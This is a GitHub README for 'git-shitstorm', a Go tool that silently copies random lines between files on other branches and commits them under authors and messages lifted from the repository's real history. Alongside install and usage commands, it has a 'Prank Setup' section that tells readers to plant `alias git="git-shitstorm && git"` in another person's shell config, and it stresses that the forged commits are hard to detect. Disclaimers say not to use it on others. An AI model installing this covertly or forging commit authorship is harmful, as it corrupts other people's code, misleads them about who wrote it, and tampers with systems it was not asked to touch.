Skip to content

einenlum/git-shitstorm

Repository files navigation


Logo

Git Shitstorm 🌪

A developer's worst nightmare: a tool that silently corrupts your Git history


Disclaimer

This is for fun and educational purposes only. Please don't do this on someone else's computer.

I'm not responsible for your future unemployment.

What It Does

Git Shitstorm randomly copies lines from one file and commits them into another file on a different branch, using a legitimate-looking commit message and author from your actual history. It runs silently and triggers only ~10% of the time (configurable), making the corruption gradual and hard to detect.

Installation

Download the latest binary from the releases page.

Or build from source:

go install github.com/einenlum/git-shitstorm@latest

Usage

# Run with default settings (10% chance of triggering)
git-shitstorm

# Always trigger (for testing)
git-shitstorm --chance 100

# Preview what would happen without making changes
git-shitstorm --dry-run

# Verbose output
git-shitstorm -vv

Options

Flag Description Default
--dry-run Preview changes without modifying files false
--chance Percentage chance of triggering (1-100) 10
--dir Target git directory .
-v Show error logs false
-vv Show all logs false
--time Show operation timing false

The Prank Setup

Again: please don't actually do this to someone.

Add this to someone's shell config:

alias git="git-shitstorm && git"

Every time they use git, there's a chance they're silently corrupting their history. Since commits use real author names and messages from their repo, it looks completely legitimate. Eventually their app breaks in mysterious ways, and debugging becomes a nightmare because nothing looks wrong in the git log.

How It Works

  1. ~90% of the time, it does nothing (configurable via --chance)
  2. Picks a random local branch and grabs a commit's metadata (message, author, email)
  3. Copies random lines from a random file in that branch
  4. Switches to a different random branch
  5. Pastes those lines into a random file (matching extension if possible)
  6. Commits with the stolen metadata

All silently. No root required.

Examples

Verbose output on the HTMX repository
$ git-shitstorm --chance 100 -vv
- Configuration: { directory: . , chance: 100% }

- Sorry... you triggered a git shitstorm!
- Let's have some fun, shall we?

- Number of branches found: 42
- Current branch: refs/heads/master
- Randomly selected base copy branch for shitstorm: refs/heads/v1
- Randomly selected base file for shitstorm: www/static/test/attributes/hx-sse.js

- Randomly selected target copy branch for shitstorm: refs/heads/hateoas-essay-styles
- Randomly selected lines to copy for shitstorm:

- --------

-  >             '</div>');
-  >         div.click();
-  >         this.server.respond();
-  >         this.eventSource.wasClosed().should.equal(true)
-  >     })
-  >
-  >     it('is closed after removal with no close and activity', function() {
-  >         var div = make('<div hx-get="/test" hx-swap="outerHTML" hx-sse="connect:/foo">' +
-  >             '<div id="d1" hx-trigger="sse:e1" hx-get="/d1">div1</div>' +
-  >             '</div>');
-  >         div.parentElement.removeChild(div);
-  >         this.eventSource.sendEvent("e1")
-  >         this.eventSource.wasClosed().should.equal(true)
-  >     })

- --------

- Randomly selected target file for shitstorm: www/test/1.5.1/test/core/internals.js
- Randomly selected commit for shitstorm:
- e9234823a2415526628d2cb62e59ec61e054c2f8: Improve wording
- By Ben Croker (57572400+bencroker@users.noreply.github.com)

- Inserted lines and committed to branch refs/heads/hateoas-essay-styles successfully

$ git log refs/heads/hateoas-essay-styles
commit 3db53cff8ae6b0e03266be918dcbffa72ea855a1 (hateoas-essay-styles)
Author: Ben Croker <57572400+bencroker@users.noreply.github.com>
Date:   Sun Jan 25 21:02:00 2026 +0100

    Improve wording
Dry-run on the Django repository
$ git-shitstorm --chance 100 --dry-run
[DRY-RUN] Dry-run mode enabled - no changes will be made

[DRY-RUN] Would modify file: tests/null_fk_ordering/tests.py
[DRY-RUN] On branch: refs/heads/stable/5.2.x
[DRY-RUN] Commit message: Fixed #35320 -- Removed unnecessary django.core.files.move._samefile() hook.
[DRY-RUN] Author: Ben Cail <bcail@crossway.org>

[DRY-RUN] Lines to insert (40 lines):
[DRY-RUN] --------
[DRY-RUN]           result = self.get_runner()._makeResult()
[DRY-RUN]           self.assertEqual(result.errors, [])
[DRY-RUN]           test_suite.run(result)
[DRY-RUN]           self.assertEqual(len(result.errors), 1)
[DRY-RUN]           ...
[DRY-RUN] --------

[DRY-RUN] No changes were made to the repository

Performance

The overhead is minimal and unlikely to be noticed:

Repository size Added latency
Small (laravel/boost) ~15ms
Medium (htmx) ~20ms
Large (django) ~80ms

Stack

Built with Go and go-git.

Platforms

Compiled for Linux, Windows, and macOS. Only tested on Linux.

Contributing

Contributions welcome! Feel free to open an issue or submit a pull request.

This is my first Go project, so there's probably room for improvement.

Author

Yann Rabiller (@einenlum) | blog | From PHP to Python

License

MIT License


If you hate this project, give it a star ⭐️!

About

How to make any developer lose their mind

Topics

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages